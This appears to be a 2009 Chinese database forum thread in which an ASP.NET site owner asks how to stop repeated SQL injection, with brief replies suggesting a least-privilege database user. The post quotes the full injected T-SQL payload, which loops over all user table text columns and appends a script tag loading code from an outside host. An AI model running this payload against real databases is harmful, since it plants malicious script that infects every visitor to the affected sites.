请各位帮忙解决个问题! 急啊!

xzpanyao 2009-09-06 06:45:32
我的网站数据库经常被SQL注入,
我看了一下貌似是通过系统表注入的,下面是注入语句!
DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''"><script src=http://8889.ss.la></script>''')FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor


我想请问下!怎么可以让数据库登陆用户不能对系统表进行操作! 或者有没有朋友知道怎么避免被SQL注入,程序用的是asp.net的,操作数据库时用的参数形式,通过url传值时,整形变量我判断它的类型后再错做,字符串类型的,我过滤单引号了,然后在每个被注入的表里面加了一个触发器,当有</script>时,不操作! 但是还是被上面那种方式注入,到底怎么办才好呢! 我也不知道,不让操作系统表到底有没有用的!
...全文
80 7 打赏 收藏 转发到动态 举报
写回复
用AI写文章
7 条回复
切换为时间正序
请发表友善的回复…
发表回复
xzpanyao 2009-09-06
  • 打赏
  • 举报
回复
有没有具体的操作呢! 谢谢1楼的朋友发的链接! 我按照第一个链接里面那样操作了一下! 怎么还是可以执行我那串注入代码呢!
华夏小卒 2009-09-06
  • 打赏
  • 举报
回复
[Quote=引用 5 楼 guguda2008 的回复:]
K,就打这么几个字都没抢到SF
[/Quote]
guguda2008 2009-09-06
  • 打赏
  • 举报
回复
K,就打这么几个字都没抢到SF
华夏小卒 2009-09-06
  • 打赏
  • 举报
回复
被注入了,等高手的代码
guguda2008 2009-09-06
  • 打赏
  • 举报
回复
建一个用户只赋予必要的权限,具体代码下面会有人帖上

34,693

社区成员

发帖
与我相关
我的任务
社区描述
MS-SQL Server相关内容讨论专区
社区管理员
  • 基础类社区
  • 二月十六
  • 卖水果的net
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧